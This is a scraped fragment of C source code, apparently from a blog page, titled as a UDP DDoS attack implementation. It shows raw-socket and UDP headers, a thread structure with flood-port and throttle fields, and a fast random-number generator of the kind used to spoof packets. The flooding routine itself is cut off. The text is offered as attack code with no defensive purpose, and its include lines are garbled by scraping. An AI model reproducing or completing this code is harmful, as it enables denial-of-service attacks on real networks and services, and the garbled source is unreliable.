#include <time .h>
#include <arpa /inet.h>
#include <ifaddrs .h>
#include <netdb .h>
#include <pthread .h>
#include <unistd .h>
#include <stdio .h>
#include <stdlib .h>
#include <string .h>
#include <sys /socket.h>
#include <netinet /ip.h>
#include </netinet><netinet /udp.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct thread_data{
int pks;
int throttle;
int thread_id;
unsigned int floodport;
struct sockaddr_in sin;
};
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
c
Udp DDOS攻击代码实现
最新推荐文章于 2025-06-23 14:37:02 发布